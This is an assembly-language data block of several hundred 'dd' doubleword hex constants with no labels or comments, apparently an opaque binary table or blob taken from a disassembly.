dd 0C0C82A0Ah, 0F145C736h, 8AEA2312h, 9805894Bh, 0FC0583B6h
dd 0C0AB10E0h, 2E0B5EF4h, 7E0094FAh, 0E7237549h, 0F8CBC5AEh
dd 32BA00BBh, 2689FAACh, 2038905Ah, 0C58D8050h, 4D21775Ch
dd 5DC4013Bh, 0C018541Fh, 7F45F95Bh, 77DA9C80h, 0B2FC071Dh
dd 7FBB7831h, 9B37DF80h, 2000529h, 0FC366FECh, 9875DE38h
dd 60E10032h, 6B423EFBh, 0CD008351h, 3B1C122h, 9816460Ah
dd 3E9B0B7h, 0C710A87Dh, 0BAF0A3EEh, 82006E95h, 1BABE441h
dd 7B4531h, 0BB539136h, 0C5D72F71h, 7000B372h, 2EB8552Ah
dd 0F631BB4h, 698D2108h, 0C8E75A4Fh, 73B3803Eh, 1B00D6FFh
dd 10DFEDA7h, 0AC46CEh, 0EA88981Dh, 9A3B7AD1h, 0F4F3FC00h
dd 0DEB15BC9h, 8AC30051h, 8F4607D0h, 6E07C094h, 0CA618E95h
dd 5DFAF5A0h, 0D5400345h, 0F87D2192h, 61471488h, 80E43Eh
dd 6E2B5202h, 0C63C98h, 9B857E4Fh, 9F8C63B2h, 73551400h
dd 91D1FD92h, 3B530068h, 0A8C22BD9h, 0BC7E9A6Eh, 32356F1Ch
dd 19CA3180h, 1F3B64C0h, 40F10326h, 7DC5EC25h, 0B0F6857h
dd 0DDFA41FBh, 0A35B66C0h, 7EBF37h, 1E30C397h, 8CEDC9EBh
dd 4B18DF00h, 7110418Ah, 0AE4200B0h, 0B5BDB8ACh, 8F15CDEBh
dd 0DC15B6h, 1F22130Ch, 3A16635h, 9F2FAF3Dh, 10F36F7Eh
dd 3315C5A8h, 0BB2C300h, 0D9F8A8E1h, 0AAE801A1h, 0F183EA93h
dd 0B89EE04Ah, 97005D79h, 0FCC91E7Fh, 7F8489C2h, 0C653016Ah
dd 8FDC11CBh, 0E01AC93Fh, 0B6000B77h, 7C4F1787h, 9DB7F0h
dd 40D9F5F4h, 0CA8E44A3h, 79140300h, 0C637C387h, 0BCE50067h
dd 86401AA1h, 9900B67Ch, 0F7CAEAC9h, 3DE5321h, 0A65FD03Eh
dd 1CF89C0Fh, 7100F137h, 26FFEA27h, 1F67849Eh, 8095F54Eh
dd 0D68081B3h, 8D014DBAh, 1DA6C26Eh, 7F609C05h, 0B43D0604h
dd 0E4BB699Eh, 8DFB5Ch, 9490B7D9h, 4B996Ah, 71F33238h
dd 2D53AF88h, 7029E001h, 0A9CE30FCh, 0A1AC4h, 7B04E676h
dd 9DF745BBh, 0F1DB50C0h, 0DC5DB2h, 0D6FABE9Fh, 0A4FE9244h
dd 0B0937B00h, 0C5B415A5h, 0AE840474h, 0B88AA6EFh, 93127E2Eh
dd 800347Dh, 8E66AC56h, 0F7B800A8h, 8BC67592h, 63041E52h
dd 6F238DEh, 725C180h, 19E4E8h, 0A417D17Ah, 5BDDFF7Ch
dd 821E0100h, 72813DAFh, 0A3BD28EEh, 1CD00386h, 0EA4E1F97h
dd 0F957E2B0h, 66C6231Dh, 6C008F2Ch, 0DB298614h, 21A700B8h
dd 205CF7B2h, 66001232h, 31042E92h, 355D881h, 0F6761664h
dd 6988C582h, 0E0006FFh, 0AFDCA3C1h, 0FBE0204h, 0CDF30C22h
dd 0E900ED2Fh, 0B0FFB803h, 82323000h, 70FE2018h, 0F39A1FC9h
dd 0E8F9420Ch, 70696D95h, 1358F0EBh, 0C3A6AC00h, 6F269F91h
dd 0F4B000B4h, 0F0CCFE74h, 0B5008B28h, 2F56D038h, 61516Ah
dd 0A20FF8Ah, 71D8CC97h, 0D5004EF0h, 0D0F0BBA0h, 9807FB7Bh
dd 3D99002Eh, 37760868h, 0A700D365h, 426AAA20h, 784B335Ah
dd 1E2100FBh, 2FE89271h, 0DAE8B598h, 6B3F4F0Ch, 282BF881h
dd 0F0336Fh, 0CADECCA7h, 3EB1B67h, 35071090h, 510599C6h
dd 96A3001Bh, 3DAA3Fh, 0C5EE03FDh, 4109C042h, 1F6F8600h
dd 0FE570268h, 0F7B700CEh, 97A47834h, 0FC98F240h, 447C6300h
dd 0E552944Fh, 2B6B054h, 0E767FB36h, 0F260D47Bh, 1013A79h
dd 0C73DDEA5h, 12FCFD50h, 0D35F0071h, 49E81E6Fh, 0A47A69F5h
dd 74DDF11Dh, 0BFA68140h, 91C5657h, 0C4F0B7DAh, 0E0044D09h
dd 0F801C029h, 0BD903CD0h, 8E7D5C2Eh, 0A0D3EB00h, 26EABCCAh
dd 2624E177h, 0CF1D001Ah, 0BEE41C5Dh, 70F84Ch, 0CD44B8C7h
dd 652DFFh, 0C00A6113h, 7B95633Ch, 0C475ED01h, 925F4656h
dd 17A8FD20h, 4DB38DCh, 0C0155BDEh, 0D844C324h, 397EEF44h
dd 368043F5h, 0DD1695B0h, 0B90062D1h, 9CEC9103h, 8D49CCh
dd 0D414B359h, 5465C496h, 973AED05h, 3880CDBEh, 386EF02h
dd 5E17E98Bh, 31F03476h, 857111ABh, 0F7637A00h, 0F02A235Fh
dd 257240h, 3F69346Dh, 0CD7D87AFh, 0F103A9E2h, 0D52AB11Dh
dd 6265CA88h, 79AE8244h, 6F30C00Fh, 41A400DFh, 585932A2h
dd 2B07C751h, 0AD88555Fh, 0BEDCC6A0h, 2DDD00EBh, 1002EC7Eh
dd 1812596Bh, 0D601B52Ch, 62E4BDF6h, 67FFC0h, 0AEC69D3h
dd 5AD1649Ch, 315B7600h, 0E24A7451h, 11DC0975h, 4C01887Eh
dd 0CCA5C01Fh, 0B01FBEFh, 0ADBC773Ah, 5080B607h, 7FBFA9B1h
dd 0FB01056Dh, 0D63C3A94h, 4AC18159h, 3545CCh, 737AAAA5h
dd 146E741Bh, 4CD8F224h
dd 0F8EF7002h, 0A0CC60h, 0A582E75Fh, 0ADB2815Bh, 0F42479F4h
dd 540F0CF7h, 579B00A6h, 0FE4F59Ch, 6E648E33h, 0D26C4492h
dd 0CBF3807Fh, 72000BB6h, 3605686h, 36AF40h, 19DE97D8h
dd 0DB6A3589h, 88D4DA00h, 4C4E3879h, 88C6507Ch, 9AD00E0h
dd 72D083B8h, 29017E80h, 0F3E2E1B4h, 9040328Dh, 20C05CF5h
dd 0F0087CEh, 0DFB09C34h, 0CA7B46h, 98C40DAEh, 819249E7h
dd 2E0F9900h, 0BDA635BEh, 6B83034Bh, 5ED01173h, 7FC0559Ah
dd 433B0A64h, 853E052Bh, 9002D186h, 15083C60h, 4B800490h
dd 5B378B9h, 6E9A6800h, 46731EC9h, 74FC96h, 0E14A6BEBh
dd 7A49C802h, 8BED4202h, 48469AD6h, 0A4C1548h, 72F69295h
dd 4AAB8088h, 0D8D34560h, 0F01DA003h, 1EB0C3Ch, 39D9DB70h
dd 0F0B01AACh, 0B909E1h, 0D3E9AB07h, 1560F6D0h, 67EF006Bh
dd 1A24F186h, 4202C041h, 0D32EFB52h, 36856029h, 5E820997h
dd 0D400177Fh, 471B08DFh, 84707607h, 0BEA06E29h, 3D739Bh
dd 0E3A2074Dh, 15660CE2h, 0D5EA0500h, 5A631052h, 386E00B4h
dd 147C5C64h, 167A2EA3h, 0BB7ED109h, 0B7D0005Bh, 1A73C6Fh
dd 0B3FD2581h, 241F5C08h, 0C80A5F18h, 0C0DBC05Ah, 0FAAF600h
dd 3FBFC7Ah, 47BCC319h, 0A2F0EDBAh, 0BB002FD3h, 0E817BDD4h
dd 834626h, 62DEB156h, 93B8B6B0h, 0F600CC90h, 92E249FEh
dd 0E83E7Dh, 51698199h, 8277ABCh, 1A0018EEh, 39E1EEA6h
dd 1AD9633h, 66179C35h, 40E68780h, 4727F7BCh, 4AEAC820h
dd 0CC5C431Fh, 5FB0CEB5h, 0A60096F5h, 1D0F5EF4h, 71A395h
dd 0B32B49BFh, 851E28E6h, 37C93007h, 2433EFA8h, 4CEAF0F8h
dd 8BEE147Eh, 5304BC22h, 0D0EC2873h, 11DD190h, 0B8213803h
dd 82CCEE5Ah, 2BCAC00Dh, 50D7000Fh, 0FA22AADFh, 3C0114EFh
dd 0E233E080h, 0C04041B8h, 0B8C31037h, 0A585C54h, 0F26F7F00h
dd 6EF00EA1h, 2379B00h, 622D1672h, 248C94E6h, 481E0080h
dd 4317EB23h, 7B89B15Ch, 0DB13FA00h, 6B8A385Ch, 0EBC070Ah
dd 0BFDE50A6h, 5B00AB32h, 71B79869h, 94CC5012h, 884A486Ch
dd 3B5E0C80h, 493948C6h, 0FDB500D2h, 714ACB07h, 1857F66Ah
dd 70BC976Fh, 7603954Bh, 58B85228h, 0C45EF1B6h, 0B1B9C880h
dd 22ECF75Ah, 29048EE6h, 1FB6244Ah, 8DDE1381h, 35A47450h
dd 2FB70046h, 0E24E176Dh, 0BE00A7FAh, 4070831Dh, 0A48E6B42h
dd 0BB730388h, 6A347715h, 0B62EBE98h, 667C5503h, 0B8BC58FCh
dd 4A733F7h, 0C4B9757Eh, 910080ACh, 542861B5h, 98001086h
dd 0C93CF6E2h, 9A4A5024h, 1D350080h, 0B2C63DE5h, 0F418948Bh
dd 5A10E405h, 34526B3h, 340B4644h, 9FE0697Dh, 997C0105h
dd 0A800CD25h, 7B62D0C3h, 0A8E471h, 5ABB324Ah, 0A1937903h
dd 6831E0EDh, 84E30D00h, 45B94E0Fh, 0F4F90051h, 0B2431BBDh
dd 8C015058h, 0A5F0EFFh, 0F07B8752h, 1F1D47D7h, 0F680EC2Ch
dd 1D4A09Ch, 84AF09A2h, 0F880A752h, 144F2DCCh, 0C592471Eh
dd 367CB600h, 0A1ED80h, 84A9A3E1h, 9F825F0Ah, 16240B0Fh
dd 3EB2E89h, 0F880C332h, 1EA1F605h, 716BA6h, 0DAF98E4Eh
dd 24307729h, 49DDE0C0h, 7CA300B9h, 0A4471326h, 80410A6h
dd 9D9DC43h, 55742081h, 3CE63FCCh, 8501235Dh, 9847A529h
dd 0E46C022h, 9D7BC000h, 35B91E5Eh, 0BBDA00F3h, 0B52B5D66h
dd 6B01D59Bh, 0FC2265C1h, 43F05ACBh, 0E4480021h, 2D62074Fh
dd 0FB007D18h, 0EF9799EEh, 5C4C6Fh, 9246B91Ah, 7E3261DBh
dd 49BD4100h, 5F449E9Bh, 54AC3D84h, 1521F982h, 0F2E17145h
dd 0D099C901h, 9B00DA76h, 0E230E604h, 75F491h, 28AD9C09h
dd 7125D9CAh, 0AF512203h, 0D863C82Eh, 213DF7h, 0DA15AB90h
dd 1C4AF343h, 8FC8D00h, 4B064F0Fh, 7C250088h, 0C6A6EEEFh
dd 0B775E01Eh, 1A023100h, 63221735h, 0D4B13BE6h, 0BEADDB83h
dd 51A0A07Eh, 0A700B9FBh, 59210610h, 0E85871Dh, 7E8FC240h
dd 4FF7B2C0h, 1C03033Ch, 0BE5A0D5Bh, 570F9850h, 3F4FE61h
dd 599BDBE9h, 0BD9AF1DAh, 625AE8E0h, 0BFCEFA00h, 0B6C521B9h
dd 22E90088h, 808F939Bh, 0D3004428h, 0AE8BD4E8h, 0B0C39FBh
dd 2D7C02A0h, 0D0986381h, 0B8FC05Ah, 7A4AE33Ch, 64C7C91Dh
dd 6CB6E787h, 0E4F12260h, 9CB81FF6h, 0B4080CFh, 9DAED592h
dd 0C3C91501h, 0E51C5BDAh, 7CEA5080h, 84267891h, 0A9459E00h
dd 2327EFD3h, 2DAD00FBh, 0F647467Dh, 580CF448h, 0D8AE5E4Eh
dd 0F2D8004Bh, 17F375A5h, 4F00ADE9h, 0AB6277F8h, 0CC3396h
dd 0DE2765C6h, 0BEF4DD08h, 71BAFE00h, 3F8F81C1h, 5A7A0033h
dd 0F11912F5h, 3C0070A2h, 5544295Eh, 0DA256Dh, 0E2FC157Eh
dd 0B6F1FB06h, 871E3E7Fh, 60000B11h, 0F96A94A7h, 14C7AC5h
dd 78E16CB4h, 0D8ACAB92h, 0E37C99D5h, 50B0DE00h, 39B75DC8h
dd 0A2BD00D7h, 67A02FCBh, 50073CFh, 0FB4B2782h, 90B699F3h
dd 48E07Ch, 0FEB0E3DEh, 3E619FC2h, 28EBF600h, 0EEB6A9CEh
dd 91CC0071h, 0D656169Ah, 8A008714h, 62BF077Eh, 21CA41h
dd 36A4862Fh, 0D45A4246h, 4CC7BC00h, 0DA643FABh, 6558003Ch
dd 82FECA9Eh, 0A0A8139Ch, 531FABA5h, 0D2D40BEAh, 95DF00B4h
dd 0EB5F1850h, 85C7000Ah, 0D4082E8h, 97FC2164h, 0F3300807h
dd 0AEA01AEFh, 48B0FD91h, 11007879h, 5BAD4A24h, 0D10C6DB5h
dd 88839B69h, 0E560000Fh, 0F97C5978h, 0F8601576h, 0A46873E4h
dd 0D4370F8Dh, 0BA066EEh, 0E7B69205h, 0CC324107h, 0A8B0F58Eh
dd 961E0Dh, 1F3FBEDFh, 2FDA9348h, 51720700h, 0EB65ABC0h
dd 413900CAh, 4B7081B8h, 4E00453Eh, 446766DFh, 778841Dh
dd 72BA0112h, 3F0340A8h, 4005EC6h, 41A0E8AEh, 71CDBh, 47B4879Bh
dd 6A90C71Bh, 2C03D4F2h, 4618A7Bh, 0E1ED9BF8h, 0FDC01E32h
dd 811B0087h, 0B229F1C7h, 54C0B028h, 2D45FE2Ch, 0A8E0016Dh
dd 0DBAC3CAh, 74E5ECD5h, 0E1299700h, 0A6FA981h, 5C720077h
dd 5741F9B9h, 0BCEA7851h, 7A6CBA5Ch, 96CFB71Dh, 0D4080640h
dd 393772h, 18E95C91h, 0BE3475A9h, 6D30520Ah, 0AD009445h
dd 251238AFh, 9FE000CCh, 7881981Ch, 3E00AAFEh, 0F9A099F1h
dd 1B16F6Ch, 0EB647CE0h, 0EB339CFDh, 6E50A8E0h, 360EE300h
dd 55ADFECDh, 0B40705Bh, 0EE825CC3h, 0CB8FEF80h, 6607A735h
dd 22F94590h, 0D55068D0h, 93860039h, 0BAA9F370h, 1407B697h
dd 6D9DA107h, 0FA338290h, 491A07D1h, 0CB406A6Fh, 2CC2F00h
dd 0ED2668D3h, 0B887997Bh, 258070D1h, 0E93D666h, 768FC52Bh
dd 5873A966h, 0E020BC03h, 0B7847ADDh, 57C0F2B0h, 48F36082h
dd 4D86E409h, 85ADB200h, 155980B1h, 0D539075Bh, 709C54C9h
dd 777448BCh, 80B0A63Dh, 4A1E6383h, 1BA7A64h, 0E4991954h
dd 0D4F62BA8h, 9206D1D5h, 366837D6h, 96E70B80h, 9580D228h
dd 92B05BE9h, 0FB030B00h, 0AB60E440h, 0F15A0288h, 6F6765F8h
dd 307FD6C1h, 1DE8A327h, 0BE8DF600h, 0A8B3ECB8h, 0B7B81Bh
dd 45DD35F4h, 0CDD43BEDh, 0F2CF5100h, 0E3CC675Ch, 47990270h
dd 0FA2B572Fh, 0AED894E3h, 0E0003728h, 88685BE6h, 9AD392h
dd 0C84F2641h, 0BAD4353Bh, 0EA274200h, 72D61E86h, 0A87500EFh
dd 9D55EBC9h, 8900D126h, 0A19ACE11h, 12AA88BDh, 0E31282h
dd 546DF554h, 4F00DA5Dh, 951E2713h, 3B12653Ch, 1980142Dh
dd 446B528Fh, 0F2005BB2h, 7F3409C3h, 652CFEh, 0ABECBC3Dh
dd 1AF83184h, 0E9B89611h, 65122100h, 0CD01240Dh, 6A8A6900h
dd 0A12F1371h
dd 8223007Eh, 9CAA4106h, 2E002884h, 957C1E40h, 3E6AFh
dd 312FA993h, 5BB97823h, 0CD491009h, 4F7401CEh, 0A03B144Bh
dd 0E700B2F6h, 8885BE74h, 0FE5A071Bh, 27B95CE1h, 91CA0867h
dd 200E56ECh, 93A0B898h, 81022176h, 9A7F767h, 0B08483CEh
dd 804BE117h, 0E8A89820h, 9EB60333h, 3DBDD223h, 24E04100h
dd 1E2CA326h, 0B90B1784h, 0A9F6098Eh, 3145B420h, 5F00D872h
dd 4414CB59h, 7A495ECh, 52F30FAAh, 0EAF0B19Fh, 3ADC701Ch
dd 39F0FC7Ch, 1C32400h, 0D3911B0Dh, 0E0CF60Eh, 0A22EF81Dh
dd 6FF63820h, 1109C162h, 802922F7h, 0A01FF99Ch, 0E2F800D3h
dd 5DE52409h, 5400B362h, 11A94B21h, 55222Bh, 0F101E33Dh
dd 688329A8h, 0BC94803h, 0A8BB4519h, 17C5E6h, 0E8814C1Bh
dd 55A38D09h, 44743703h, 0B0F4FF75h, 2B4BCC0h, 3E999B3h
dd 0AD40648Fh, 925440CEh, 320091C0h, 85C13BDAh, 7D7AB5EDh
dd 0B9C3002Ah, 880414B8h, 0A900C85Ch, 2D72A2B3h, 563305h
dd 87F0C10Ch, 82920420h, 1DD5DD00h, 15B41922h, 0ED6E020Ah
dd 43739197h, 28DA480h, 770049E2h, 0F1825818h, 2A78C988h
dd 0C0E829h, 0B95B7505h, 0DD7D4AACh, 0F9FC7012h, 27AD000h
dd 1D7B565Fh, 0C06411EAh, 896A82A4h, 1B300454h, 4016C8B4h
dd 68134C3Ah, 0B9697609h, 62E2C00h, 9930DAD5h, 6C50C8F0h
dd 73E0003Dh, 77983EBFh, 0A7007C4Ah, 43FFED67h, 4CD9EA61h
dd 96134B62h, 4F740712h, 525D201Eh, 5C00E806h, 32AA3874h
dd 46FAEE2h, 0A15F4B46h, 8D3CC094h, 3290C501h, 5C9210E2h
dd 3A00F7FCh, 0F9F83893h, 0FD76B9Bh, 0EBA8EC41h, 0AFC084E0h
dd 0CF0086B2h, 38753343h, 3F9A79C5h, 744CCAE4h, 9C63B01h
dd 117A0EBh, 2612DBF8h, 4780B065h, 1C8CC112h, 59C0C0F7h
dd 5517B2FAh, 31D430E7h, 58BB0920h, 39000056h, 0A0A5DD10h
dd 1F16BC96h, 55007786h, 268E8CFDh, 0D009076Eh, 4E2E6854h
dd 36553460h, 411F0877h, 0F100232Ch, 0D7339214h, 0A46C0F07h
dd 0B8A5D58Ch, 0B3F080C5h, 0B0000E5Ch, 0A60D0B7Dh, 43F1EDAh
dd 4B57B4FBh, 1B3480C3h, 0CC00F688h, 3113809Ch, 0F2DE15h
dd 613E1CE7h, 97E159D4h, 560375F6h, 74457294h, 1A90DF0Fh
dd 0AE95F9h, 0E167E4A9h, 6FC63DFDh, 816A0E00h, 0AB376DEBh
dd 0FA725Fh, 62D4840h, 326EEF63h, 80890439h, 0CC55CDF7h
dd 0E271CFh, 0A082965h, 0B153D3A3h, 6006190h, 5ADABC4Eh
dd 0A0097F39h, 12D9DECh, 22C28DA7h, 242A9908h, 6A00B9A8h
dd 2D7A02F2h, 0C2CED5h, 0F1EA0AA2h, 2FA5DC60h, 78207403h
dd 0C043B5EBh, 1E152Dh, 40C8F8F4h, 314AC38h, 0D5ED6500h
dd 28CCF193h, 5A9F8020h, 3B0043F2h, 0E7078494h, 70FD294Ah
dd 12217A8Eh, 0F61E76h, 98F7C2Ch, 4A48187Fh, 9AE46020h
dd 992E60Bh, 1E95649h, 8110820Ah, 239DB10Ah, 1502D2B9h
dd 72247Eh, 0FD6AA575h, 9EF61CFFh, 286D8051h, 98260EFCh
dd 3A84A5Ch, 67DFD27h, 0D98380B8h, 6EE2BCh, 0A82B2D16h
dd 0E91B9951h, 0DDDA4E13h, 0E06078A1h, 41151DD4h, 5F160059h
dd 1D76C201h, 0D13CFC00h, 73FE2F28h, 0FB0C264Fh, 9E2600h
dd 8D890BCh, 0C348D62Ah, 5A9B141Fh, 0CD9707BCh, 431395E6h
dd 606ED83Eh, 9D5D3BADh, 0E501285Ch, 838BAE93h, 0FAD641EDh
dd 77D9CF78h, 5FDE846h, 6CD55604h, 0C0EF39BCh, 5811F5ECh
dd 0A90088B0h, 24100CFAh, 6D8D5h, 98A159DBh, 9AB025CAh
dd 0ACFE83A0h, 0CB5A5402h, 0E81EB95Ch, 1CDB3FECh, 976A4161h
dd 33384765h, 5AD5D00Bh, 7400F055h, 0A53C0EDh, 2E786115h
dd 1748B1ACh, 0CB100059h, 57EC877h, 0B039D112h, 0EF386AACh
dd 1BC297h, 0E29FC73h, 0AF14D76Dh, 2F830EBh, 7CF03D2Eh
dd 0FBF08019h, 2FF93Fh, 8F45F60Eh, 61CB6B9h, 2021106Eh
dd 563622F4h, 38340039h, 3A3F7E09h, 4B00FE2Bh, 0CDCB48F7h
dd 7DB2A965h, 0F364005Ch, 47E15D75h, 170EBDE2h, 0E0D21F79h
dd 2296B3FFh, 0FB5F0040h, 6E92645Dh, 40EDC10h, 60BEB4CEh
dd 81E12E70h, 0E5F20Ch, 0F98F7796h, 0F8D795B2h, 0C7F16900h
dd 8615797Fh, 0A56009Eh, 9BE7496Dh, 0EE3CD909h, 0BD01B97Bh
dd 43408060h, 58E325ACh, 0D6B539E8h, 2720685h, 0F83CD0D8h
dd 0FC0FEEA8h, 44DA76F2h, 0CA818140h, 0D6200D46h, 3B800FDh
dd 43B7DB32h, 2A0095DCh, 37732610h, 21997C1h, 23E9EBA6h
dd 0D8E012F9h, 0F302EC53h, 0C55DF416h, 27E8C87Eh, 4A60BD52h
dd 840007B7h, 4C6626C1h, 18D109Bh, 4AB85394h, 0EC925545h
dd 8B01B3AFh, 0C1A8CEFFh, 85D49B6Ch, 9A280073h, 0F9E69531h
dd 79F84076h, 0D49F1B12h, 8F0A700h, 2DDEC6h, 6BE1530h
dd 0B0CB0755h, 0EE02B09Ah, 8D54386h, 0B68840D9h, 7140099h
dd 494B5ACCh, 0EB75675Bh, 1D20E000h, 94C1D204h, 4010001Bh
dd 0A72BBA1h, 43005177h, 1444A019h, 0ED26322Fh, 547C5D4h
dd 20340D71h, 2808019Ah, 0E86B03A9h, 0FA095BC1h, 803CCA7Fh
dd 12FBF384h, 0F7CCFB5Fh, 6A91C0EAh, 0B22C6358h, 0A6BBE015h
dd 12688810h, 0E0E801B1h, 0CFA8C3DAh, 8BA4083Bh, 29C0E356h
dd 0B2C4037Ch, 7543A866h, 0BF745Fh, 295D2FA2h, 0D23BDD97h
dd 0F16FD400h, 3AFF20F9h, 14B34D7Ah, 1A676B07h, 0D609409Dh
dd 0FC384912h, 5F3B017Bh, 81A02AB8h, 8930509Dh, 1E8C27E7h
dd 0AC0CE8A1h, 7882DEDAh, 9120D832h, 0D026BF1h, 3334F299h
dd 390C8329h, 0EFA820D4h, 0A33CD48h, 74276798h, 88C67A03h
dd 0E87FDB41h, 14D4445h, 89510F6Ah, 0FC32545Eh, 6C01E735h
dd 9EB9E5D8h, 5AF4EE55h, 40D9008Eh, 7ADB61C3h, 6C00A260h
dd 0E6596986h, 30A3B8h, 80049EE1h, 0EBB06F8Fh, 933D06C0h
dd 12BED78h, 0D4E4E641h, 0D83FDCFFh, 0E107ABD5h, 0F229285Dh
dd 17C513E0h, 2B2A015Eh, 0E5DE616Ah, 0EB07CC25h, 872D18C5h
dd 0E64B1481h, 7A9D9050h, 3959F092h, 2701A701h, 0D4E3EE66h
dd 748850E6h, 9439B3F9h, 0F711604Bh, 0BAE2977h, 0C0C3CADAh
dd 18BDBA8Eh, 9D1E21F3h, 6817A8A0h, 0E619D67Bh, 0B080E4EBh
dd 3F4B470h, 0CE4DE5DFh, 1808DCDBh, 41322B28h, 3E8EB6Eh
dd 7FD689E7h, 1697BC50h, 0B6E06Ch, 64077A28h, 63DFAA32h
dd 0B821D963h, 0BBFC8094h, 646C003Ah, 0B120D9Bh, 98F4A07Dh
dd 0DEC75F00h, 0FB82F8EEh, 77E67Ch, 6775D515h, 6A4ECB21h
dd 7E1789E6h, 29002CC6h, 9B62B88Ah, 431E00A2h, 51C8615Ah
dd 0D03F1CA5h, 266F8094h, 0D7DC4868h, 502E0049h, 0BC7B92AEh
dd 3002958h, 0BDBF606Fh, 53F7751h, 6E37C4C0h, 0E525C1DEh
dd 0F3FCFCEEh, 4ABA8F00h, 0C98962A0h, 0FBCD0090h, 72A136B8h
dd 0B9076E29h, 6FA31496h, 4D084AC0h, 0ADE40027h, 6C0E1850h
dd 5F582D25h, 5B0F181Ch, 9E6D30h, 9FD76413h, 377BEA5Ch
dd 98BDF700h, 6AD6ED8Fh, 0D4E8C0h, 52C49670h, 0B9EAA36Eh
dd 8C2ABE00h, 0ED3124B6h, 0B544009Ch, 0A172E7Fh, 0A80F383Bh
dd 40D48F92h, 0FCA2ED37h, 58F56FABh, 7240F1A0h, 3903EC1Ch
dd 0A1EF42BAh, 4441E093h, 1418C17Ah, 2BF20D9Fh, 697EA0h
dd 73DE97A9h, 39CCF067h, 57842900h, 66EF987h, 0EBE70F18h
dd 0D60DDC1h, 0E6795B28h, 0AFC81500h, 62376610h, 12320006h
dd 98E53072h, 0BF24509Ch, 61003E17h, 4F33DDA1h, 0C6E17E7Ah
dd 596BB050h, 531D9C7Eh, 54007CBBh, 0A3ED7DABh, 0DC763833h
dd 511850h, 21CBCEDFh
dd 0F21B5F01h, 50CD700Eh, 0C234036h, 0FA999DCh, 21B5267Ch
dd 7E583800h, 0A4071827h, 0D7A19888h, 0F4436D3h, 0BE514738h
dd 8A395840h, 0DD009314h, 0FD5EBDA9h, 1B2C3Dh, 2187318Eh
dd 2285098Fh, 4613DA1Dh, 6881AA0Ch, 9DDC40EEh, 7EEA8E00h
dd 16A43519h, 28910009h, 0AB264D34h, 64003959h, 333EC7B5h
dd 35835Dh, 6E3CF2F9h, 4654A94Fh, 218008CCh, 0F9E486h
dd 68DD4A93h, 87FD3C11h, 909BD71Ch, 850BE740h, 38A4CEh
dd 0A38DAFF0h, 825E713Eh, 62E0164Ch, 0C0F85310h, 0CEB8B1Fh
dd 64BAEAA7h, 21C01F08h, 34124078h, 7B3C000Ch, 306C1E69h
dd 46F235F7h, 7A312AE8h, 8CA391C5h, 0F10361D2h, 821E1180h
dd 677269F0h, 0BBC7C90Ch, 0C252086Fh, 0F06A7B21h, 0DCEA6561h
dd 0A503FCD6h, 0C53AFD09h, 7D68CED5h, 0EC611E37h, 7D0020A9h
dd 5681B06Ah, 1D2F663Fh, 184A88DEh, 82702179h, 36FCB107h
dd 0FB87EC3Ah, 0B0223965h, 0F88F3066h, 0BE463CE2h, 88243822h
dd 7A006937h, 934C7EF8h, 9EA0A05Fh, 0C35A2877h, 0D79001ACh
dd 56EF3A6Fh, 8DB9C028h, 42AC9E00h, 6DA53CAEh, 0CD7207FCh
dd 80048938h, 0AA0CC48Ch, 6908F300h, 0E0A8BD68h, 876D0E2Ch
dd 2401DB3h, 0CA061FE4h, 63016A04h, 0FBC015E8h, 9B9E78h
dd 83DF2665h, 4FB29CC7h, 2DB50100h, 0E18A7731h, 0BDA800CDh
dd 0B6534423h, 88001E4Ch, 350261FFh, 33DAE95h, 0D7A96DB0h
dd 7BC87F5Fh, 1900DEEAh, 216FD81Ah, 3E7977CFh, 70037609h
dd 0FE7E92D0h, 0B42D97D8h, 173CDA00h, 24BFC904h, 0B9CF02Bh
dd 0F4090713h, 0E826BD00h, 75F0AF4Eh, 9A4AEA00h, 0CB82E2Ch
dd 0A06FB892h, 0B9FFAAh, 415A8DD9h, 0C27C75CBh, 0E4011B00h
dd 0B61EC18h, 36C60040h, 0BC3BA733h, 0AC1C3078h, 9E002F03h
dd 0BF87F116h, 4C323F96h, 0C8593481h, 0D4AD93EAh, 7A3C9FFDh
dd 0CF680E8Fh, 23920069h, 0A303DC1Eh, 43AE580h, 0D3D8FE07h
dd 0A992C034h, 740C4053h, 94A58C2Eh, 0A09C3C6Bh, 0C4328E0h
dd 82114520h, 447E50DEh, 0A3449D9Ch, 4E0D448Fh, 84945644h
dd 42D49022h, 55B9119Bh, 117B6811h, 0A721D1CBh, 902B7508h
dd 0C761849Ch, 8942D348h, 21302432h, 9F12C5F4h, 892D1110h
dd 44330824h, 8888EBBCh, 4DD800D7h, 0DB64B8C8h, 0D000FF90h
dd 6D8C6025h, 0D157EDh, 0A62BDFB2h, 0B0E1E40Fh, 9ABC400h
dd 0D6E9F26Bh, 0AECF00B1h, 299F8624h, 0B9F6A575h, 0DF82E106h
dd 589E38h, 0BA36309Ch, 37CF4AD9h, 0D3F1D800h, 0D1DBEA09h
dd 48A0074Fh, 0F061C6C3h, 2DE37806h, 3EC05400h, 4E5321B7h
dd 254C0075h, 0B80A0540h, 0C603CC50h, 4756D6BDh, 0D39FC030h
dd 999C00C0h, 0AA5BA22Eh, 0B8772021h, 134038DFh, 0FD19B38Ch
dd 17FF1207h, 611441CFh, 0E4B2B443h, 0EF019192h, 47B46C8h
dd 7AE8D883h, 251A0702h, 0F09F4EF6h, 350B45FEh, 0E5ED4800h
dd 0F162AD0Ah, 0BB903967h, 822300FAh, 0C74C1D7Bh, 7048C87Eh
dd 81280044h, 38933DB1h, 0A58000FAh, 6B1DC9C0h, 9C005D04h
dd 2EAE9ECEh, 5840B5h, 4920D54Ah, 9BDA9D28h, 0D0EA0800h
dd 307DEC4h, 237B000Eh, 1EDB815Dh, 2860784Fh, 2FE00438h
dd 1FFD76C5h, 9F2E4EEAh, 0AFDA40B7h, 0C2064AC3h, 6A5E2014h
dd 8B3E00F9h, 1A05B827h, 0C4820013h, 45F92B3Dh, 6600311Ch
dd 236484FFh, 601AB79Eh, 5158E08Eh, 0AD076944h, 6DAF0238h
dd 0B362C280h, 50DB0187h, 0B84B65E3h, 64B820D7h, 29AB9A00h
dd 78988CA4h, 0C3A3004Ch, 0A2619C41h, 740043B9h, 0C222FBC5h
dd 5FC052E3h, 0A79AB0ACh, 711D0600h, 0B0A1FADDh, 55AA0441h
dd 80E88F01h, 0BCFB1E2Ch, 65959E0Fh, 0D9CC60FCh, 700494B2h
dd 5EBE3D11h, 4605AF83h, 3DD6CCFh, 7B08A4E0h, 94B935A0h
dd 0A65F8000h, 0EEC5CF2Eh, 436302E5h, 3AEB0F01h, 286EE481h
dd 5E1020BAh, 0E4006092h, 86828EC5h, 0BB1A3Eh, 75C051F3h
